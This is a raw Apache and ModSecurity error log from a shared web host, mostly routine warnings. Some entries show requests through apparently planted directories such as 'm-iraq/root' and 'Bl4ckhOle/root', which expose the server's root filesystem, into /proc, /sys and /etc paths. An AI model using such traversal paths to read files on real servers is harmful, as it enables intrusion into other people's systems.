[Fri Jul 17 10:27:34.720905 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:34.824831 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.180777 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.238792 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.284931 2026] [security2:error] [pid 2076193:tid 2076193] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2P7UVEJ3gwrjEiOQXyAAAABA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:27:35.284983 2026] [security2:error] [pid 2076193:tid 2076193] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2P7UVEJ3gwrjEiOQXyAAAABA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:27:35.349982 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.457289 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.551866 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.763003 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:35.867115 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.079296 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.384308 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.689579 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.700538 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.798534 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:36.841945 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:37.317793 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:37.419001 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:37.500501 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:37.559402 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:37.846015 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:38.915443 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:38.989628 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/hwcache_align
[Fri Jul 17 10:27:39.392783 2026] [security2:error] [pid 2075689:tid 2075689] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "alm2Q16LQV5zcO01IS_CUgAAAAw"]
[Fri Jul 17 10:27:39.393142 2026] [security2:error] [pid 2075689:tid 2075689] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "alm2Q16LQV5zcO01IS_CUgAAAAw"]
[Fri Jul 17 10:27:39.438128 2026] [security2:error] [pid 2075689:tid 2075689] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm2Q16LQV5zcO01IS_CUgAAAAw"]
[Fri Jul 17 10:27:39.508866 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:39.560970 2026] [security2:error] [pid 2076231:tid 2076231] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/"] [unique_id "alm2Q2G27nIfbW_ExyiIaAAAABM"]
[Fri Jul 17 10:27:39.561334 2026] [security2:error] [pid 2076231:tid 2076231] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/"] [unique_id "alm2Q2G27nIfbW_ExyiIaAAAABM"]
[Fri Jul 17 10:27:39.708817 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/mousedev/uevent
[Fri Jul 17 10:27:39.862873 2026] [security2:error] [pid 2076231:tid 2076231] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm2Q2G27nIfbW_ExyiIaAAAABM"]
[Fri Jul 17 10:27:39.914733 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:40.019291 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:40.129437 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:40.414749 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:40.443181 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:47932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:40.767373 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:40.911884 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:47944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:40.965003 2026] [security2:error] [pid 2076257:tid 2076257] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/7:129/subsystem/vcs3/power/control"] [unique_id "alm2RCBQrJXNVyJFnL69PAAAABU"]
[Fri Jul 17 10:27:40.965047 2026] [security2:error] [pid 2076257:tid 2076257] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/7:129/subsystem/vcs3/power/control"] [unique_id "alm2RCBQrJXNVyJFnL69PAAAABU"]
[Fri Jul 17 10:27:41.354284 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:42.096638 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:42.209349 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:42.260222 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:46112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:42.324803 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:42.527215 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:42.697907 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 47.128.48.153:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/etc/yum.repos.d/MariaDB1011.repo
[Fri Jul 17 10:27:43.049620 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:43.768201 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:43.954896 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:46164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:43.955100 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory94/node0/memory91/subsystem/devices/memory80/phys_device"] [unique_id "alm2R35-BwPGxupoEJk1cAAAAA0"]
[Fri Jul 17 10:27:43.955140 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory94/node0/memory91/subsystem/devices/memory80/phys_device"] [unique_id "alm2R35-BwPGxupoEJk1cAAAAA0"]
[Fri Jul 17 10:27:43.979461 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:44.081347 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:44.813219 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:44.880925 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:44.964188 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:46.862773 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 57.141.18.24:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu1/node0/memory7/node0/memory116/node0/memory119/subsystem/uevent
[Fri Jul 17 10:27:46.997319 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:47.285554 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:47.375967 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:48.527546 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:48.851688 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty36/power/control"] [unique_id "alm2TED0S6w5KyU992IOVwAAAAM"]
[Fri Jul 17 10:27:48.851743 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty36/power/control"] [unique_id "alm2TED0S6w5KyU992IOVwAAAAM"]
[Fri Jul 17 10:27:49.062253 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:49.294517 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:46414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:49.473750 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:50.766815 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:51.091742 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:51.499386 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:51.705173 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:51.808489 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:52.019097 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:52.121008 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:52.326979 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:52.537363 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:53.282454 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:53.475515 2026] [security2:error] [pid 2076257:tid 2076257] [client 3.210.114.189:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-global": Permission denied [hostname "moslanka.maximsholdings.com"] [uri "/index.php"] [unique_id "alm2TyBQrJXNVyJFnL69RQAAABU"]
[Fri Jul 17 10:27:53.475550 2026] [security2:error] [pid 2076257:tid 2076257] [client 3.210.114.189:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-ip": Permission denied [hostname "moslanka.maximsholdings.com"] [uri "/index.php"] [unique_id "alm2TyBQrJXNVyJFnL69RQAAABU"]
[Fri Jul 17 10:27:53.818292 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:53.917314 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:54.549458 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:54.644774 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:55.064318 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:55.367576 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:56.072225 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:56.148614 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:56.201124 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.32:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/driver/cpu0/node0/memory22/node0/memory59/subsystem/devices/memory52/power/"] [unique_id "alm2VH5-BwPGxupoEJk1dwAAAA0"]
[Fri Jul 17 10:27:56.201160 2026] [security2:error] [pid 2075693:tid 2075693] [client 57.141.18.32:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/driver/cpu0/node0/memory22/node0/memory59/subsystem/devices/memory52/power/"] [unique_id "alm2VH5-BwPGxupoEJk1dwAAAA0"]
[Fri Jul 17 10:27:56.487924 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:56.797582 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:13/eject
[Fri Jul 17 10:27:56.903697 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:57.268926 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:57.515912 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:57.775926 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.004540 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.443930 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.590770 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.590872 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.645036 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.645102 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.794689 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:49470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:58.847790 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:58.948519 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:59.149904 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:59.356197 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:00.093792 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:00.195982 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:00.381224 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:49538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:00.509901 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:00.745177 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:01.128150 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/alarmtimer/subsystem/drivers/pcspkr/bind
[Fri Jul 17 10:28:01.541552 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:01.752491 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/ttyS1/device/driver/bind
[Fri Jul 17 10:28:02.097550 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/dev/fd/8
[Fri Jul 17 10:28:02.103312 2026] [ssl:error] [pid 2076258:tid 2076258] (70014)End of file found: [client 66.85.158.91:52128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:02.477614 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:02.804274 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS1/irq
[Fri Jul 17 10:28:03.015195 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.015342 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.015392 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.015469 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.015546 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.015613 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:03.587839 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:04.170591 2026] [core:error] [pid 2075780:tid 2075780] (13)Permission denied: [client 57.141.18.104:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory12/node0/memory95/subsystem/drivers_probe
[Fri Jul 17 10:28:04.761401 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:52276] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:05.317539 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:05.637213 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:05.841434 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:06.589587 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:06.889920 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:06.891531 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/node0/memory60/subsystem/"] [unique_id "alm2Xkj_u9-aE9qeQW0dxAAAAAk"]
[Fri Jul 17 10:28:06.891568 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/node0/memory60/subsystem/"] [unique_id "alm2Xkj_u9-aE9qeQW0dxAAAAAk"]
[Fri Jul 17 10:28:07.006131 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:07.784502 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:07.809771 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:07.837173 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:52488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:09.366910 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.435354 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.439724 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.472652 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.472809 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.472875 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.472937 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.472980 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.473020 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539071 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539124 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539153 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
